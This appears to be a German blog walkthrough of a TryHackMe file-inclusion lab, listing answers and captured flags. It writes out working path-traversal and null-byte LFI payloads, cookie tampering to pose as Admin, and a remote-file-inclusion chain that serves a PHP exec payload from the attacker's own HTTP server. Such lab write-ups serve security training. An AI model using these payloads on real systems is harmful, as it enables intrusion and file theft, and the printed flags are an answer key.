Habt ihr auch das Gefühl, dass es sehr schnell geht? Gerade noch den Pfad angefangen, jetzt schon bei File Inclusion!

Task 1 Introduction

Keine Fragen.

Task 2 Deploy the VM

Ebenfalls keine Fragen, wir starten nur die Machine.

Task 3 Path Traversal

Frage 1:
What function causes path traversal vulnerabilities in PHP?

Antwort 1:
file_get_contents

Task 4 Local File Inclusion – LFI

Frage 1:
Give Lab #1 a try to read /etc/passwd. What would the request URI be?

Wir Navigieren auf unserer Machine zu Lab#1 und setzen das Gelernte in die Tat um. Wir müssen nur ?file=/etc/passwd am Ende der URL anfügen.

Antwort 1:
/lab1.php?file=/etc/passwd

Frage 2:
In Lab #2, what is the directory specified in the include function?

In Lab#2 müssen wir nur einen beliebigen Wert in dem Eingabefeld eingeben und den ausgegebenen Fehler analysieren:

Antwort 2:
includes

Task 5 Local File Inclusion – LFI #2

Frage 1:
Give Lab #3 a try to read /etc/passwd. What is the request look like?

Wie auch in Lab#1 müssen wir an das Ende der URL einen String anfügen. Wie wir gelernt haben, müssen wir ein Nullbyte (%00) anfügen, damit .php ignoriert wird. Nun sieht unser String folgendermaßen aus:

lab3.php?file=/../../../../etc/passwd%00

Antwort 1:
lab3.php?file=/../../../../etc/passwd%00

Frage 2:
Which function is causing the directory traversal in Lab #4?

Der korrekte String wäre hier

/lab4.php?file=/etc/passwd/.

, doch das ist nicht Bestandteil der Frage. Hier war ich etwas stutzig, aber es ist die selbe Antwort wie in Task 3. Manchmal denkt man viel zu kompliziert.

Antwort 2:
file_get_contents

Bonus:
Die Lösung für Lab#5 ist:

/lab5.php?file=....//....//....//....//....//etc/passwd

Frage 3:
Try out Lab #6 and check what is the directory that has to be in the input field?

Zuerst müssen wir den richtigen Folder herausfinden. Dazu geben wir eine beliebige Eingabe in das Feld ein:

Und hier haben wir auch schon unseren Folder und damit unsere Lösung.

Antwort 3:
THM-profile

Frage 4:
Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?

Zuerst müssen wir wieder unseren String basteln. Diesmal müssen wir den Anfangsfolder mitnehmen. Den Folder haben wir in Frage 3 herausgefunden.

/lab6.php?file=THM-profile/../../../../../etc/os-release

Antwort 4:
12.04

Task 6 Remote File Inclusion – RFI

Keine Fragen.

Task 7 Remediation

Auch hier gibt es keine Fragen.

Task 8 Challenge

Frage 1:
Capture Flag1 at /etc/flag1

Zuerst navigieren wir zu Lab#Challenge-1 und öffnen den Inspect Modus, wählen den Reiter „Network“, rechtsklicken auf unseren GET Request und wählen „Edit & Resend“. Wir sollten dann folgendes sehen:

Wir ändern nun Method zu POST und geben bei Request Body folgendes ein: file=../../../../etc/flag1

Nun klicken wir auf Send. Unser neuer Request wird jetzt korrekt als POST gelistet. Ein Rechtsklick auf unseren neue Request und „Open in New Tab“ Zeigt uns dann die Lösung:

Antwort 1:
F1x3d-iNpu7-f0rrn

Frage 2:
Capture Flag2 at /etc/flag2

Nur Administrator haben Zugriff auf die Seite. Da hilft nur eines. selbst zum Administrator werden! WIr sehen, dass das Cookie uns als „Guest“ identifiziert. Ändern wir doch unseren Keks (unter Inspect und Storage):

Wir klicken also in das Feld und geben „Admin“ ein, danach aktualisierne wir die Seite:

Die Seite begrüßt uns nun als Admin und wir sehen auch den aktuellen Pfad „/var/www/html“. Leider bringt uns das nicht viel, da wir nur den Text geändert haben. Aber wir sehen nun, dass das Cookie den Text der Website bestimmt. Versuchen wir nun uns den Inhalt der Flag anzeigen zu lassen, in dem wir den Pfad zu ihr eingeben:

Wir sehen nun, dass wir damit den Text beeinflussen können, aber wir haben noch keinen Erfolg. Fügen wir also ein Nullbyte (%00) an:

Und wir haben unsere Flagge!

Antwort 2:
c00k13_i5_yuMmy1

Frage 3:
Capture Flag3 at /etc/flag3

Wir werden von einem Eingabefeld begüßt und versuchen mal unser Glück mit dem Pfad der dritten Flag „../../../../etc/flag3“. Leider haben wir keinen Erfolg, doch aus Fehlern lernt man ja.

Wäre ja auch zu einfach gewesen, oder? Immerhin wandelt die Seite unsere Eingabe, in der Adresszeile, in das richtige Format.

Wir öffnen also wieder den Inspect Modus, gehen auf Network und rechtsklicken auf die Zeile mit der Webseite. Hier wählen wir Resend und ändern den Request auf „Post“. Im Abschnitt „Body“ fügen wir unseren neuen Code mit Nullbyte ein.

file=..%2F..%2F..%2Fetc%2Fflag3%00

Wir klicken auf Send, dann rechtsklicken wir auf die neue Zeile und wählen „Open in new Tab“.

Antwort 3:
P0st_1s_w0rk1in9

Frage 4:
Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?

Hier wird es etwas komplizierter und wir können die AUfgabe nicht einfach mit dem Inspect Tool lösen. Zuerst müssen wir eine Datei erstellen, die uns den Inhalt von „hostname“ anzeigt. Dazu benötigen wir etwas php Code:

<?PHP print exec('hostname'); ?>

Die Datei speichern wir in unserem Homeverzeichnis als abc.txt. Erstellen können wir diese mit:

nano abc.txt

Wir fügen den Code ein und speichern die Datei.
Jetzt öffnen wir einen http-Server auf unserem System:

python3 -m http.server 1234   

Um zu sehen, ob unsere Datei auch im richtigen Verzeichnis ist, können wir folgende URL öffnen http://0.0.0.0:1234/

Nun Basteln wir uns wieder unsere URL. Wichtig ist hierbei, dass wir unsere spezielle Try Hack Me Ip Adresse benutzten. DIese finden wir in unserem Profil unter Access>Internal Virtual IP Addres.

http://MACHINE_IP/playground.php?file=http://THM_IP:1234/abc.txt

Antwort 4:
lfi-vm-thm-f8c5b1a78692